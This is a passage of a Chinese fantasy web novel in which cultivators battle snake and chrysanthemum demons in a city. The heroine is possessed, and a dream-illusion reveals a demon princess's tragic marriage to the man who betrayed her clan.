没过几招,白英空便被打倒在地,胸腔一阵剧痛,他大口大口地咳着血,似是要把肺都刻出来。
“为什么?”白英空固执地问着。
黎绕月垂眸看着狼狈不堪的白英空,脑子有什么东西一闪而过,心中居然有些不忍。
裴汔正要解决掉白英空时,黎绕月出手拦下。
面对裴汔不解的眼神,她只道:“走吧,去找岁忆谙。”
下一刻,黎绕月消失在原地。
裴汔上前气愤地踹了一脚白英空,一点儿都没有顾及平日的相处,反正都是装的,并不重要。
白英空虚弱地说不出话来,他只能眼睁睁地看着两人离去。
正当白英空以为自己要死了的时候,吱呀一声,院门被人推开。
“白兄!”
42. 你很爱她?
街上,华屿山与柳微晴漫无目的地走着。
华屿山感受到了身旁人的闷闷不乐,他问:“你怎么了?”
“我……是傀儡?”
柳微晴终于问出了心底的话。
华屿山愣了一下,他合起扇子,用上板一下又一下地敲着手掌心,说:“这个……我也不知晓你到底是个什么东西,你应该去问靳江浛。”
毕竟是靳江浛将她带回来的。
柳微晴思考着自己到底是什么,她思考过无数次,唯独这次有了一丝眉目,那只白菊花妖说她是傀儡。
“傀儡是什么?”
华屿山解释道:“傀儡就是受人控制,没有心脏,没有魂魄,没有思想的物。”
柳微晴想也没想就说:“我不受靳江浛控制了,岁姑娘说我不用听他的,而且我也有思想呀。”
不可否认,黎绕月的确会思考了,还会想己是谁。
华屿山也道:“但你没有心脏,没有魂魄。”
黎绕月听后,眼中的亮光黯淡下来,垂头丧气的模样令华屿山心生不忍,他问:“你想当人?”
“我想。”柳微晴说得很坚定。
华屿山稍稍愣了一秒,又问:“那你为何想当人?就不能当只妖?不能当个魔?”
柳微晴反问:“我为何要当妖?又为何要当魔?我就不能好好地当个人吗?”
“你成功问住我了。”
华屿山无言。
两人继续走着,柳微晴脚步顿住,她抬脚走向一间屋子,边走边说:“有妖。”
“好耳熟的话,谁说过来着?”华屿山跟了上去。
柳微晴一把推开院门,映入眼帘的是躺在地上,浑身伤痕的白英空。
“白兄!”华屿山大呼,他快步走进院子,来到白英空身边。
柳微晴也跟着进来,她蹲下身,真挚地问:“白英空,你怎么被人打成这样了?”
“谁打得你?是妖吗?”
“妖这么厉害,要不我也考虑当个妖?”
华屿山忍不住道:“你先别问了,你好多话呀。”
柳微晴不满地撇撇嘴。
华屿山将白英空扶起,掰开他的嘴,给他喂了一颗丹药。
白英空艰难地吞下,见到面前的人是华屿山后,他用尽全身最后的力气揪着华屿山的衣领。
“黎绕月和裴汔是妖,他们……去找了岁姑娘,去帮岁…………岁姑娘。”白英空说完便彻底昏了过去。
华屿山并不着急,他甩出开着的扇子,扇面旋转,赫然变大,像只小舟一般浮在他的身边。
“我把人带回城主府,你去找岁忆谙,跟他们说一下白英空的情况。”
说罢,华屿山拉起白英空跃上扇面,扇子载着两人飞远。
“感觉有点有趣。”柳微晴的目光在那把扇子上停留了许久,然后才转身离开。
城主府在游南城中心,而岁忆谙带着靳江浛来到城外。
“我记得我出了城,但我忘了出城之后的事。”岁忆谙在前面走着,靳江浛跟在她身后。
靳江浛问:“白菊花妖俯了你身,她这么做的目的是什么?”
“你问我我问谁?”
靳江浛欲回话时,突然感受到了空气中流动着不同寻常的气息。
“谁!”
靳江浛上前一步站定到岁忆谙身侧,他化出黑石长剑,警惕地望向四周。
“谁?”
岁忆谙疑惑。
林间寂静无声,无人应答,忽然间,一阵悠扬的笛声传来。
笛声清脆,动人心弦,伴着风吹树叶的沙沙声,岁忆谙不自觉地听入了迷。
靳江浛的直觉告诉他这笛声有古怪,他屏蔽听觉,顺便捂上了岁忆谙的耳朵,可他还是晚了一步。
岁忆谙双目失神,靳江浛刚想施法唤醒她,一道汹涌的妖力袭来,他迅速躲闪。
黎绕月和裴汔赫然出现。
“原来是你们这两只妖。”
黎绕月直言道:“靳江浛,我虽不知你一个魔为何要去凌仙宗修仙,但在你心中,岁忆谙的分量肯定要比白英空的分量重。”
“所以你和岁忆谙来我月蛇洲吧。”
黎绕月本想用笛声控制两人,直接将两人带到月蛇妖洲,谁料这靳江浛还挺警觉的。
“月蛇洲,那地方比魔境还要潮湿阴暗,没什么好玩儿的。”靳江浛语气带着些许感慨。
这让黎绕月有些纳闷,看靳江浛这样子,他似乎去过月蛇洲。
靳江浛抬眸,眼神定定地看着面前二人。
“不如,我把你们的蛇头割下来,然后带到月蛇洲,这样的话,他们肯定很兴奋。”
话落,靳江浛举着剑飞身上前。
三人皆是百年修为,本来二对一可以拿下靳江浛,可靳江浛吸收了鬼石里的魔力,打败他们也成了轻而易举的事情。
两人渐渐落了下风,裴汔打算先擒住岁忆谙,他趁靳江浛不注意,径直跑朝岁忆谙。
原本失神的岁忆谙眨了下眼,浅棕色的眸子变得漆黑无比,还倒映出了裴汔的身影。
裴汔的手还未碰上岁忆谙的一片衣角,他就被掀飞了出去,身子在空中翻滚了几圈,最后落到地上,鲜血从口中咳出。
“裴汔!”黎绕月见状,停手朝裴汔跑去。
靳江浛也停了手,他顿感不妙,侧身看向岁忆谙。
岁忆谙朝他扬眉。
靳江浛也不管两只蛇妖了,他朝岁忆谙走近,然后举起剑。
“你到底想做什么?”
画屏再次剥夺了岁忆谙的身体,她看了眼剑尖,最后注视着靳江浛,准备伸手抚上。
刚举起手,长剑就被移开。
靳江浛一脸厌恶,他移开长剑也只是因为剑刃锋利,他不想伤着岁忆谙的手。
对于靳江浛的举动,画屏心中有些触动,眼中透露出了些许怀念。
她忍不住问:“你很爱她?”
“与你有何干系?”靳江浛不耐烦道。
“既然爱她,那就不要做对不起她的事情。”
画屏说这话的本意是告诫,单纯地告诫而已。
可靳江浛却下意识提高音量。
“谁做了?!”
听着这略显心虚的语气,画屏眼神变冷,她问:“你做了?”
靳江浛反驳:“当然没做。”
“最好如此。”
画屏看了眼天色,道:“你先晕一会儿吧。”
靳江浛应声倒地。
画屏扭头看向另外两人,黎绕月正搀扶着重伤无力的裴汔,她惊愕:“你竟然能动。”
“那是因为你们太弱了,区区两只百年的小
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蛇妖还敢在我面前卖弄,真是可笑。”
黎绕月眼见着两人都带不走,裴汔还受伤了,她打算先离开。
下一秒,黎绕月带着裴汔消失在原地。
“跑了?无趣。”
画屏见人跑了,也没追上去,她欲转身离开时,一旁的树干后却传来了动静。
画屏运转妖力,将树干后的人吸了过来。
“你叫什么来着?”画屏掐着那人的脖子问道。
“柳微晴。”
柳微晴表情扭曲,惨白的脸因为呼吸困难而变得红了些。
“柳微晴…………名字不错,清楚什么该说,什么不该说吗?”
柳微晴并未说话,冷艳的双眼终于出现了些许波动,她死死地看着面前的人。
“看来是不清楚了。”
画屏挑眉:“既然不清楚,那就去死吧。”
五指用力,咔嚓一声,柳微晴的脖颈被掐断,毫无声息地倒在地上,倒地的那一刻,她化作黑烟消散。
地上出现了一个骷髅头,骷髅头咕噜咕噜地滚到画屏脚边,两个黑洞洞的眼眶正盯着她,她嫌弃地踢了一脚。
“原来是一个骷髅头。”
画屏控制着岁忆谙的身体回到城主府,她站在城主府的大门前,眼中满是恨意,身上散发着浓浓的怨气。
哒哒哒———
画屏侧头看去,是欧阳浅。
欧阳浅走到画屏面前,嫩黄色的衣摆摇曳,隐隐约约间还能看见衣料上绣着几朵白菊。
此刻的她微红着眼,声音卡在轰隆里。
画屏在见到欧阳浅的那一刻,身上的怨气瞬间消失,气息变得温和,她勾唇,扬起了一个柔情的微笑。
两人对视,欧阳浅眼瞳中的相貌并不是岁忆谙,而是另外一张眉眼与欧阳浅有几分相似的脸。
“小姐,城主找您。”
奴仆的声音不合时宜地响起,欧阳浅冷声应好,再次看向面前的人时,眼中的容貌已经变了。
“岁姑娘?”
岁忆谙捂着脑袋,迷茫地看了看周围,她发现自己在城主府大门口。
“我怎么在这儿?”
脸上湿润,岁忆谙伸手一抹,抹掉了一行滚烫的清泪。
“我怎么哭了?”
欧阳浅又恢复到了那副冷淡的模样,她随口道:“你说你累了,想回房睡觉。”
“哦。”岁忆谙糊里糊涂地进了城主府。
岁忆谙在回客房的路上撞见了华屿山,他正从白英空的客房里出来。
“华屿山?你怎么回来了?”岁忆谙问完才看见他一身上的血迹。
刚处理完白英空伤势的华屿山有些诧异,他道:“黎绕月和裴汔打伤了白英空,我送他回来,你没事吧?”
“白英空被黎绕月打伤了?!”岁忆谙万分震惊。
“只剩一口气了,黎绕月和裴汔还是妖。”
岁忆谙不知该说些什么,谁家女主能把男主打到只剩一口气呀?
她道:“不死就行,那他何时能醒?”
“最快今晚,最慢明早。”华屿山对自己的医术很有信心,白英空肯定死不了。
岁忆谙看了眼华屿山空无一人的身后,问“柳微晴呢?”
“她不是和你在一起吗?”华屿山反问后,又道,“我让她去找你了。”
43. 堕魔
岁忆谙两手一摊,说:“我没见到她呀。”
华屿山问:“那靳江浛呢?”
“对啊,靳江浛呢?”
岁忆谙怔愣,一脸困惑,她仔细回想,靳江浛去哪儿了呢?她怎会独自一人回到城主府呢?
靳江浛不会出什么事了吧?!
“算了,我去找,你就帮我看着白兄吧。”
岁忆谙本想跟着去的,可潜意识认为自己应该留下来,她应道:“好。”
华屿山走后,岁忆谙并未走进白英空的客房,而是轻车熟路地进了欧阳晓的卧室。
与此同时,游南城城外————
“谙…………”
靳江浛一醒来就找岁忆谙的身影,周围空荡荡,除了那个骷髅头。
靳江浛一眼便看出那是柳微晴,他为骷髅头注入魔力。
不到片刻,骷髅头消失,柳微晴出现。
柳微晴可怜兮兮地蹲在地上,一下又一下地拔着地上的野草。
靳江浛双手抱胸,像看傻子般看着她,问:“柳微晴,你在干嘛?”
柳微晴抬头,眼神懵懂,她伸出一根食指指向自己,反问:“你在喊我吗?”
靳江浛心中一阵无语,好好的一个傀儡怎么回炉重造了?
柳微晴见他不说话,便低下头继续拔草。
靳江浛思索一番,想起了零零零。
【零零零,谙去哪儿了?】
靳江浛等了一阵子,零零零都没有开口。
【零零零?】
【来了,来了,大反派,你要问我什么?】零零零着急忙慌出声。
靳江浛耐着性子问:【谙去哪儿了?】
零零零回:【宿主大人在城主府。】
这几天都要给零零零忙坏了。
靳江浛转身离开,刚走几步还想起蹲在地上的柳微晴。
为了防止岁忆谙追问,靳江浛对说:“柳微晴,还不跟上来。”
柳微晴头也不抬地回:“我为何要跟着你?”
靳江浛无语,他又道:“你不跟着我,那你就在这里待到死吧。”
“哎呀,说什么死不死的,多难听。”
欲走时,华屿山摇着扇子大步走来,他来到柳微晴面前,蹲下身看她。
柳微晴抬眸瞥了他一眼,眼神像是小孩儿般警惕,她双脚挪动,身子转了个方向继续拔草。
华屿山看着柳微晴的举动,忍不住用扇面捂嘴发笑。
“你怎么在这儿?”
听见靳江浛的问题,华屿山起身。
他上下扫视了眼靳江浛,见他发丝凌乱,红色衣袍上沾染了脏兮兮的尘土还有有几根绿野草。
“岁忆谙回城主府了,她没事,你见到黎绕月他们了?”
听见岁忆谙没事,靳江浛紧绷的身子肉眼可见地放松了下来。
“黎绕月与裴汔是妖,他们打伤了白英空,我与柳微晴正好路过,白英空说他们的目标是岁忆谙。”
“我带着白英空回了城主府,然后让柳微晴来提醒你们。”
华屿山解释道。
“只不过柳微晴怎么变成了这样?”华屿山看着还在拔草的柳微晴,有些受不了,他将柳微晴拎起来。
地上绿绿的草地秃了一块儿,露出了棕褐色的干土,实在是太难看了,华屿山一挥扇子,草地恢复如初。
“岁忆谙被俯身了,我先走了,你记得把柳微晴带回去。”靳江浛说完转身消失。
“诶!”
快得华屿山都没来得及反应,他低头一看,手中空空如也,柳微晴不见了!
不知何时,柳微晴朝远处跑去,华屿山追上去,人就快要跑没影时,他终于抓住了柳微晴。
“放开我!放开我!”
柳微晴嘴里嚷嚷着,华屿山直接一个手刀将人劈晕,甩出扇子,抱着人上了扇面,扇子升空,朝城主府飞去。
城主府————
“啊!”
一道尖叫声响彻府邸,紧接着是哀嚎声和哭泣声。
城主房内,一颗长着大嘴,面露惊恐的头颅被放在了桌上,一进门就能看见。
那颗头是欧阳晓的头颅,而他的尸躯体被砍成了血淋淋的尸块。
尸块正大大咧咧地被人丢在地上,每个尸块上都开着一朵白菊。
与城中百姓的尸体不一样,欧阳晓尸块上的白菊染了血,妖艳而又美丽。
欧阳浅一推门就见到了这副场景,她大叫一声,双腿发软,跌倒在地。
府中上上下下的所有奴仆都被尖叫声引来,他们都看见了这恐怖的一幕。
房中走出一人。
是浑身染血的岁忆谙。
岁忆谙目光呆滞,手中持刀,娇红色的衣裙被染成正红,衣摆边缘正滴答滴答地滴着血。
刚来到欧阳晓门前的靳江浛震惊不已。
周围的奴仆对岁忆谙指指点点,欧阳浅气愤地站起身,她推搡着岁忆谙,说:“你为何杀我爹?!”
岁忆谙被推得一个踉跄,靳江浛快步上前挡住,接着一挥手,狠戾的魔力冲向所有人。
奴仆纷纷倒地不起,他们都断了气。
除了欧阳浅,欧阳浅被击飞了出去,最后只是单膝跪在地上吐了口血。
欧阳浅没有像其他奴仆一样死亡,这让靳江浛很是意外。
欧阳浅区区一皆凡人竟能抵抗他的魔力,这怎么可能?
靳江浛凝目看去,随后恍然大悟,原来这欧阳浅是半妖之体。
之前没有看出是因为欧阳浅的妖丹被封,靳江浛这一击倒是破开了她体内的封印。
靳江浛运转魔力,正想灭口时,胸膛处传来刺痛。
靳江浛缓缓垂头看去,一朵纯洁的白菊穿膛而出,他呆呆转身。
岁忆谙嘴角勾起一抹邪魅的微笑,就如同那嗜了血的白菊。
看着那张熟悉的脸,靳江浛想要反击的手停下,他倒退几步,捂着疯狂涌血伤口。
‘岁忆谙’与靳江浛擦肩而过,她拉过跪地的欧阳浅消失在原地。
华屿山听见了尖叫声,好奇心让他直接抱着柳微晴过来了,一进来就看见了满地死人。
华屿山将柳微晴弄醒,给她施了个定身术就来到靳江浛面前。
血腥味不仅从靳江浛身上传来,还从房内传来,华屿山忍不住探个身子看了一眼。
这一眼就与欧阳晓头颅的眼睛对上了,差点令华屿山把今早的早膳吐出来。
“这…………都是你杀的?”华屿山不可置信道。
“白菊花妖。”
靳江浛淡淡开口,他松开捂着胸膛的手,胸膛的血已经用魔力止住了,他穿着红衣,华屿山一时半会儿还看不出他受伤了。
华屿山半信半疑,他道:“那现在怎么办?人都死了,我们………
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…要不离开?”
靳江浛没理会华屿山,他径直离开。
华屿山上前拦下:“你去哪儿?”
“我要去救她。”
华屿山无奈:“等会儿,你知晓她人在哪儿吗?”
靳江浛沉默,他在脑中道:【零零零。】
【零零零?】
零零零并未应声,靳江浛一脸烦躁。
“游南城这一遭,真是什么破事都有。”
华屿山自顾自说着。
“先得知黎绕月和裴汔是妖,白英空重伤昏迷,再是岁忆谙被白菊花妖上身,柳微晴也变得跟小孩儿一样,然后是你被捅了…………”
说到这而儿,华屿山低头看了看自己,衣衫虽然有些凌乱,但毫发无伤,他侥幸道:“还好我没事。”
靳江浛:“………………”
“发什么事了?”
白英空虚弱的声音从走廊转角传来,他唇色苍白,正扶着墙面走得迟缓。
“你醒了?!看来我的医术还是有长进的。”华屿山惊讶道。
他上前把脉,然后又给了颗丹药,解释道:“岁忆谙被白菊花妖附身了,然后杀了城主,还有这满院的奴仆,以及捅了靳江浛。”
白英空吃了丹药后,身子有了些力气。
“怎么会变成这样?”
白英空扶着墙崩溃倒地,他该怎么办?自己身受重伤,岁忆谙被白菊花妖带走,靳江浛被捅。
可最令他没想到的是,黎绕月与裴汔竟是妖!
下山前,白英空信心满满,认为自己必定能完成寻找鬼石的任务,可现如今,他发现自己并没有能力去摆平这些事。
“我求助宗门,让他们来游南城。”
话音刚落,一阵银铃般的笑声传入众人耳畔。
庭院中,一道白色身影伴随着白菊花瓣徐徐落下,女子面容姣好,纱裙翩翩,只不过她的周身隐约有黑气涌现。
女子开口:“诸位,今日算是我们…………第二次见吧。”
“你是白菊花妖?”白英空警惕起来。
华屿山连忙将定在原地的柳微晴拉到自己身后。
“是你杀了城中百姓,还有他们!”白英空愤愤道。
女子微笑,红唇鬼魅,她摇头道:“不不不,城中百姓是我杀的,这些人可不是。”
说罢,还意有所指地看了眼靳江浛。
靳江浛丝毫不惧,他拿出白英空给她的罗盘,罗盘上的指针旋转数圈后,指向了白衣女子。
“鬼石在你身上!”
白英空惊愕,还没来得及兴奋,就被靳江浛否决了。
“不,罗盘只能寻到魔气,寻不到鬼石。”
白英空微愣,罗盘是净惜长老给的,净惜长老并不是这么说的啊。
靳江浛又说:“附身在岁忆谙身上的妖与面前这只不同。”
“面前这只是堕了魔的妖。”
“堕魔的妖真是少见,岁岁好久都没饮魔血了,今日,我就让它喝个够。”靳江浛化出黑石长剑,飞身上前。
两人开始打斗,华屿山也上前帮忙。
白英空则拔出自己的长剑,他双指夹着剑尖,用力一掰,清脆的断剑声响起。
一小截剑尖被白英空掰下,他口中念咒,剑尖泛起蓝光,接着他将剑尖甩向空中。
剑尖并未攻击女子,而是径直朝着凌仙宗的方向飞去。
44. 流萤
这是凌仙宗独有的传讯方式,将自己佩剑的剑尖掰下,再念咒语以及想传讯的话,最后让剑尖飞回凌仙宗。
白英空佩剑的剑尖越过山林河流,穿过蓝空浮云,最后飞进凌仙宗。
凌仙宗屹立在山峰之上,只不过宗门内挂满了白绸,弟子们神情哀痛。
凌仙宗大殿内,里头的五位长老都身着白衣,唯独一年轻女子穿着青衫,她手中正抱着缩小的白猿。
死气沉沉的氛围中,其中一位长老拍案而起,他怒道。
“宗主已经遇害三日了,为何不将白英空召回?!”
“鬼石才是宗门的重中之重,这也是白宗主的意愿。”青衫女子淡淡开口,手一下又一下地抚摸着白猿的脑袋。
刚才说话的徐长老还想说些,一截剑尖冲进大殿,钉在了木柱之上。
徐长老上前拔下,刚拔下,白英空的声音就响彻大殿。
“游南城出现妖魔,弟子修为低微,恳请宗门出手相助。”
“妖魔?!”几位长老一听,都不淡定了。
在众人看不见的地方,青衫女子眼底是得逞的笑意,她收起眼底神色,用命令的语气说。
“既如此,你们就去斩妖除魔,顺便白英空带回来。”
徐长老不爽地问:“净惜长老,你怎不去?”
“我乃下一任凌仙宗宗主,去什么?”净惜反问道。
另一个长老顺了一把胡子,哼了一声,说:“虽说白宗主将下一任宗主之位给了你,可并不代表你就是。”
净惜并不在意他们的看法,她一脸真诚地问:“你打得过我吗?不对,是你们打得过我吗?”
“你!你欺人太甚!”
“废话真多,再不去救人,你们能带回来的就只有白英空的尸体了。”
说罢,净惜款款起身,她拎着白猿转身离去。
游南城中,华屿山打到一半就跑了,因为白英空突然吐血,柳微晴还在大声嚷嚷,他嫌烦就不打了。
而靳江浛与女子打得难舍难分,最后靳江浛挥出的一剑打中了女子。
女子倒地,靳江浛一步步走到她面前。
女子并未慌张,而是笑了,她用只有两人能听见的声音说:“要不是你吸收了鬼石上的魔力,不然以你这百年修为,怎配与我斗!”
靳江浛并不在意女子的话,他道:“说那么多废话又有何用?现在你不还是即将成为我的剑下亡魂。”
“说!岁忆谙在哪儿!”长剑横在女子的脸颊上,靳江浛语气激动,连带着手也不受控制地颤抖起来。
尖利的剑刃划破女子细嫩的肌肤,点点鲜血流出,融进黑石剑刃中。
女子冷笑一声,化作一股灰烟朝远处飞去,靳江浛追了上去。
“诶,记得回来啊!”华屿山对着靳江浛的背影喊道。
靳江浛追着灰烟来到城外的一片白菊花丛,灰烟落在丛中。
“怎么会这样?!”女子震惊,眼前的白菊花都蔫儿了,花头低垂着,白色的花瓣发黄。
靳江浛落在花丛外,他眼尖地看见了飘在空中的岁忆谙。
黄昏降至,白菊花丛的尽头是浓厚的橘色。
夕阳的光芒洒在每一朵白菊上,枯萎的白菊散发着死亡的气息,不过却为岁忆谙周身镀上一层光辉。
“谙!”
靳江浛直接跨步跑了进去,本就快要死的白菊被他踩在脚底。
还未跑近岁忆谙,一道女声传来。
“我劝你最好别过去,她的意识陷入幻境之中,你要是惊扰了她,她就会沉睡一辈子的。”
欧阳浅的身影出现在花丛中,她站在岁忆谙的另一边,面露不悦地看着靳江浛。
“你们到底想做什么?!”靳江浛并未轻举妄动。
“我本想将她的躯体给我娘用,就连我娘的妖丹都选择了她,可她的魂魄始终驱不出去,真是奇怪。”
欧阳浅到现在都很疑惑。
游南城中那么多的人,她娘的妖丹就只挑了岁忆谙来这妖域,魂魄也入了体,却不能占为己有,真是奇怪。
造幻境,也是她娘的意思,虽不知这有何用。
靳江浛想不出法子,他想求助零零零,可零零零跟失踪了似的,一句话都不应,他追问:“她何时才能出来?”
“快了。”欧阳浅敷衍道。
幻境中————
岁忆谙一个时辰前就来到了这里,她发现自己还在白菊花丛外围,而远处宽阔的丛中竟然有一座小镇。
“这哪儿啊?”
镇子不大,岁忆谙茫然地走向小镇,脚下好像踩到了什么东西,一道闷哼声传来。
岁忆谙急忙撤开,她垂头,看见了一双脚,她扒开朵朵菊花,一年轻男子正倒在花丛中。
“这里怎么躺着个人?”
这男子的面容好眼熟,自己好像在哪儿见过?
“你没事吧?”岁忆谙礼貌地关切道。
“流萤!”
肩膀被人拍了一下,岁忆谙吓了一跳,转身看去,是欧阳浅。
她一袭素白纱裙,发鬓上簪着几朵小小的白菊,还有毛绒绒的蜜蜂。
“欧阳浅?”
“什么欧阳浅,好你个流萤,你竟敢唤错你主子名讳,看我不把你的脑袋打开花!”
女子美目娇瞪了岁忆谙一眼,接着她反应过来,又道:“不对,你本来就开着花,那我就……”
“等一下,我是流萤?”岁忆谙打断。
她怎么成流萤了,面前的女子怎么那么像欧阳浅?还有她的声音自己好像在哪儿听过。
女子反问:“你不是流萤?”
“我………是啊。”岁忆谙潜意识点头。
岁忆谙跑到女子身后,拉着她的袖子让她看倒在丛中的年轻男子。
“少主,你快看。”
“妖域外怎么躺了个人?”
女子诧异,她蹲下身拍了拍男子的肩膀,道:“喂!你没事吧?”
男子浑身都是血,看不出哪里受了伤,他闭着眼睛一动不动。
“喂,我叫画屏,你叫什么?”画屏又拍了怕他的肩膀。
男子有反应了,他微微睁着眼睛,嘴里说道:“求你……救我。”
岁忆谙问:“少主,我们要救他回去吗?”
“我娘不允许外人进入妖域,可他好像快要死了。”
妖域有布下结界,除了白菊花妖谁都进不来。
画屏左思右想,还是决定把人偷摸带回去。
她用妖术掩盖住男子的气息,岁忆谙则跟在她身后。
来到小镇最偏僻的屋子里,画屏将男子扔到院子的石板地上,看了男子的伤势后,她道:“流萤
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,你去把屋里的药膏拿出来。”
岁忆谙应声,她走进屋子,来到一旁的木柜前拿出了装着瓶瓶罐罐的一筐子药。
动作没有丝毫停顿,她还在疑惑自己怎么知晓这些东西的位置。
画屏保下男子的命后,也没让男子进屋,只让岁忆谙看着他。
岁忆谙只能坐在院子的木桌前思考自己怎么成了流萤,还要时不时得给画屏端茶倒水。
画屏是白菊花妖族族长的女儿,那她怎么会变成老人的模样?
夜色深沉,满天繁星。
岁忆谙手肘撑着木桌,头一点一点地打着瞌睡。
“姑娘,姑娘。”
“谁!”
岁忆谙猛地惊醒,一睁眼就看见了那个受伤的男子。
“你终于醒了。”她也终于可以回房睡了。
“多谢姑娘的救命之恩,我叫欧阳晓。”男子抱拳。
岁忆谙制止道:“等一下,不是我救得你,是我家少主救得你。”
“欧阳晓?好耳熟的名字。”
岁忆谙好像忘了什么,她疑惑地走进屋子,喊醒了画屏,画屏让她回房睡觉去了。
一夜过后,岁忆谙睡醒出屋就看见坐在院中木桌前的两人,两人谈笑风生,氛围极其和谐。
岁忆谙总觉得怪怪的,男子并没有离开妖域,接连几日,两人不是在聊天就是一起吃饭赏月。
直到有一日,画屏跟岁忆谙说,她喜欢上了欧阳晓,欧阳晓也喜欢她。
岁忆谙听见这个消息犹如五雷轰顶,她下意识觉得这段缘是段孽缘。
“少主,你怎能和一个凡人在一起!”
画屏不解地问:“我们是真心相爱的,为何不能在一起?”
“谁和谁在一起?”
一道庄严厚重的男声传来,院子外面站着一波人。
为首的年长男子是白菊花妖的族长,也是画屏的亲爹。
岁忆谙急忙行礼:“流萤见过族长。”
族长越过岁忆谙来到画屏面前,怒道:“画屏,你竟敢带人进入妖域,还想与他在一起!”
“阿爹,我错了,您别生气,我与阿晓是真心相爱的。”画屏急忙下跪。
“我已命人将欧阳晓逐出了妖域。”
“至于你,流萤,没有规劝好少主的一言一行,就罚你在烈焰火中焚烧三日。”
“三日!”岁忆谙惊呼,她虽不知这烈焰火是什么火,但什么人能在火里烧三日啊,骨头都得烧成灰了吧。
“不行啊爹,三日会死的!错在我一人身上,您不能罚流萤。”画屏跪在族长身前。
“族长,我…………”岁忆谙还想为自己说什么,却被族长打断。
“不必说了,三日后会有人为你收尸的。”
小镇里有一个高台,高台的四周燃着熊熊烈火,岁忆谙被带到这里,她还没上去就能感受到烈火的汹涌。
族人推搡着她上前,岁忆谙还在思考自己是该打出去还是该打出去时,身后传来倒地声。
岁忆谙看见画屏将族人统统打昏在地。
“少主。”
画屏走上前道:“流萤,你快走吧。”
岁忆谙看向画屏,却发现画屏的眼神不在自己身上,而是在自己身后。
她转身,看着了一个陌生女子,女子的身影消散在原地。
45. 她成画屏了?
“画屏!”
族长的声音传来,岁忆谙吓得回头看去,原本站在她身后的画屏不见了。
而族长的眼神落在了自己身上。
族长恼怒地对她说:“画屏,你竟敢对族人下手,还敢私自放人!”
她……她成画屏了?
“画屏,我在跟你说话,你发什么呆!”
岁忆谙下意识跪下,道:“阿爹,流萤是无辜的,你不能惩罚无辜之人,要罚就罚我吧!”
“你!”
最后这件事还是不了了之了,岁忆谙从疑惑自己怎么成了流萤,到疑惑自己怎么成了画屏。
岁忆谙在院子里坐了半宿,她忍不住打起了瞌睡,头猛地一点,整个人又清醒过来。
结果定睛一看,满屋子都是红色,她正身穿嫁衣,坐在镜子前梳妆打扮。
身后的侍女笑脸盈盈,口中还说着她要嫁人了。
她要嫁人了?!
嫁谁啊?!
岁忆谙问了侍女好多问题,这才理清楚自己现在的处境。
她要和欧阳晓成亲……不对,是画屏要和欧阳晓成亲。
画屏堂堂妖族少主竟然要和一个凡人成亲,还是她在族长门前跪上几天几夜才求来的。
“有仙门弟子杀进来了!”
屋外传来尖叫声,岁忆谙顿感不妙,她跑出屋子,下意识寻找族长。
“画屏爹!”
人群混乱,满地猩红。
画屏是妖,那肯定会妖法,岁忆谙想要用妖法救下其他人时,却发现自己运转不出妖力。
这是怎么一回事?
岁忆谙只能凭借一些简单拳脚功夫救人,口中还不忘喊道:“画屏阿爹,你在哪儿?”
岁忆谙提着裙子,逆着人海寻找画屏阿爹,好不容易看到了一个背影相似的,还未追上去,欧阳晓就挡在她面前。
欧阳晓神色焦急,他拉过岁忆谙的手说:“画屏,我带你离开。”
话音刚落,一群白衣弟子出现,为首的年长男子开口:“欧阳晓,你怎么还藏了只妖?”
岁忆谙听后,震惊地看向欧阳晓。
欧阳晓则一脸谄媚:“宗主,我已按照你的吩咐将结界打开,你能不能放了画屏。”
“是你将结界打开让他们进来的?!”岁忆谙猛地抽回自己的手。
宗主还是放过了两人,
欧阳晓出手时,却发现自己毫无妖力。
“画屏,你别白费力气了,你的妖力早已被我封住。”
“你到底是谁?!”
“我是流澜宗的弟子…………”
欧阳晓本是流澜宗的弟子,流澜宗为了剿灭白菊花妖,他们特意让欧阳晓潜入妖域,刺杀妖族族长。
谁料,欧阳晓爱上了画屏,想离开宗门与画屏长相厮守,宗主同意了,不过让欧阳晓完成最后一个任务,那就是解开白菊花妖妖域的结界。
“你背叛了我,杀我族人,还敢说爱我,我要杀了你!”
仿佛这一刻,岁忆谙就是画屏,她冲向欧阳晓,欧阳晓只是轻轻挥手,岁忆谙就晕了过去。
再次醒来,岁忆谙发现自己站在水亭中,手里正拿着一个盘子,盘子里放着鱼食。
亭外是荷塘,水中正有一群锦鲤在争夺鱼食。
岁忆谙走到另一边的围栏前,她垂头看向水面,自己一身蓝裙,发鬓被梳成了已婚女子的模样。
“阿娘!”
一个四五岁的小姑娘扑到她腿上,岁忆谙第一次被人抱着腿喊娘。
岁忆谙手足无措,她蹲下身,说:“你好呀,小姑娘,你叫什么呀?”
天真无邪的小姑娘歪着脑袋,疑惑地问:“欧阳浅呀,娘你怎么奇奇怪怪的?”
欧阳浅竟然是画屏的孩子!还是欧阳姓,画屏不会和欧阳晓在一起了吧?
“娘子,我们该回去了。”
岁忆谙顺着声音抬头看去,是欧阳晓。
“娘子?”
欧阳晓察觉到了岁忆谙的不对劲,他问:“怎么了?”
岁忆谙摇头:“没事。”
画屏为何会嫁给仇人?
带着满心疑问,岁忆谙跟着欧阳晓来到一座府邸前,匾额上写着城主府。
一回到府邸,小姑娘被带了下去,岁忆谙变了脸色,她并不知晓画屏嫁给欧阳晓的原因,所以她打算炸一下欧阳晓。
岁忆谙就迅速拔下自己头上的发簪,直接朝欧阳晓脖子上扎去。
欧阳晓毫不费力地挡下,他有些错愕:“画儿,你这是做什么?你想要杀我?”
岁忆谙道:“我为何杀你,你不是最清楚的吗?”
欧阳晓怔住:“画儿,你……都记起来了?”
岁忆谙眸光闪动,原来画屏失忆了,不然她怎会和欧阳晓在一起。
一想到欧阳晓用这种卑劣手段娶了画屏,岁忆谙就气愤。
“灭族之仇,我怎能忘记!”
岁忆谙抽回手,簪子转了个方向,朝欧阳晓太阳穴刺去,企图一击毙命。
欧阳晓并未动弹,簪尖即将刺入皮肉时,被一股无形的力量挡下。
欧阳晓道:“画儿,你的修为已经被我废掉了,你不是我的对手。”
当初,欧阳晓不仅封印了画屏的记忆,还废了画屏的修为。
只不过欧阳晓并没有拿出画屏的妖丹,她始终是只妖,没了妖丹,就会加速衰老死亡。
欧阳晓想施法,再度封印岁忆谙的记忆时,却发现无用。
他只能将岁忆谙带到城西。
城西有一个破旧宅院,欧阳晓将人囚禁在了这里。
“欧阳晓,你快放我出去!”
大门前,欧阳晓满脸深情,柔声劝她:“画儿,倘若你答应我放下仇恨,我即刻就放你出去。”
大门里,整座宅子都被布下了结界,岁忆谙跨不去那道坎儿。
岁忆谙还没见过这么不要脸的人。
